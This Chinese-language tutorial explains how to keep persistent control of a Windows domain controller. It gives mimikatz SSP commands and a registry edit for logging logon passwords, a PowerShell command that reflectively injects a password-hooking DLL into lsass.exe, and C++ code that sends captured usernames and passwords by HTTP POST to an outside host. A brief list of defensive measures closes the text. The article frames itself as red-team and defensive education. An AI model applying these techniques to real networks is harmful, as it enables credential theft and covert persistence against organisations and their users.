域渗透之域控权限维持
字数 1965 2025-08-03 16:47:32
域渗透之域控权限维持技术详解
前言
在域渗透过程中,获取域控制器权限往往只是开始而非终点。本文将深入探讨两种关键的域控权限维持技术:SSP(安全支持提供者)和PasswordChangeNotify Hook技术,帮助渗透测试人员实现持久化控制。
SSP技术详解
SSP基础概念
SSP(Security Support Provider)是Windows系统中用于身份验证的DLL组件,包含多种验证协议实现:
- NTLMSSP (msv1_0.dll)
- Kerberos (kerberos.dll)
- NegotiateSSP (secur32.dll)
- Secure Channel (schannel.dll)
- TLS/SSL
- Digest SSP (wdigest.dll)
- CredSSP (credssp.dll)
- DPA (msapsspc.dll)
- PKU2U (pku2u.dll)
SSPI(Security Support Provider Interface)是SSP的API接口。
LSA(Local Security Authority)是Windows安全子系统核心组件,负责身份验证和安全策略执行,其关键进程为lsass.exe。
SSP权限维持实现
方法一:注册表注入(需重启)
- 将mimikatz提供的mimilib.dll复制到目标系统
C:\Windows\system32\ - 修改注册表:
添加mimilib.dll值HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages - 重启系统后,登录凭证将记录在
C:\Windows\system32\kiwissp.log
方法二:内存注入(无需重启)
使用mimikatz命令:
privilege::debug
misc::memssp
凭证将记录在C:\Windows\system32\mimilsa.log
特点对比:
- 注册表注入:持久性强但需重启
- 内存注入:无需重启但系统重启后失效
PasswordChangeNotify Hook技术
技术原理
PasswordChangeNotify是Windows提供的API,在密码修改时被LSA调用。通过Hook此函数可以:
- 重定向执行流到自定义函数
- 在自定义函数中捕获密码
- 恢复原始执行流
技术实现步骤
-
编译Hook DLL:
- 使用VS编译HookPasswordChange项目
- 设置"MFC的使用"为"在静态库中使用MFC"
-
DLL注入:
- 使用PowerShell反射注入:
Set-ExecutionPolicy bypass Import-Module .\Invoke-ReflectivePEInjection.ps1 Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass- 注意DLL位数需与目标系统匹配
-
密码捕获:
- 修改密码后,凭证存储在
C:\Windows\Temp\passwords.txt - 可自定义存储位置和格式
- 修改密码后,凭证存储在
高级定制:HTTP发送密码
修改HookPasswordChange.cpp,添加网络传输功能:
#include <WinInet.h>
// 在PasswordChangeNotify函数中添加:
HINTERNET hInternet = InternetOpen(L"Mozilla/4.0...", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hSession = InternetConnect(hInternet, L"192.168.1.1", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
HINTERNET hReq = HttpOpenRequest(hSession, L"POST", L"/", NULL, NULL, NULL, 0, 0);
InternetSetOption(hSession, INTERNET_OPTION_USERNAME, UserName->Buffer, UserName->Length/2);
InternetSetOption(hSession, INTERNET_OPTION_PASSWORD, NewPassword->Buffer, NewPassword->Length/2);
HttpSendRequest(hReq, NULL, 0, pBuf, strlen(pBuf));
技术对比与选择
| 特性 | SSP注册表注入 | SSP内存注入 | PasswordChangeNotify Hook |
|---|---|---|---|
| 是否需要重启 | 是 | 否 | 否 |
| 持久性 | 高 | 低 | 中 |
| 隐蔽性 | 低 | 中 | 高 |
| 实现复杂度 | 低 | 低 | 中 |
| 捕获密码类型 | 登录密码 | 登录密码 | 修改密码 |
推荐场景:
- 长期控制:SSP注册表注入
- 短期隐蔽:PasswordChangeNotify Hook
- 应急获取:SSP内存注入
防御建议
- 监控lsass.exe的异常DLL加载
- 审计注册表中Security Packages项变更
- 限制对lsass进程的访问权限
- 启用LSA保护(RunAsPPL)
- 监控PowerShell的反射注入行为
参考资源
通过掌握这些技术,安全人员可以更好地理解攻击者的持久化手段,从而构建更完善的防御体系。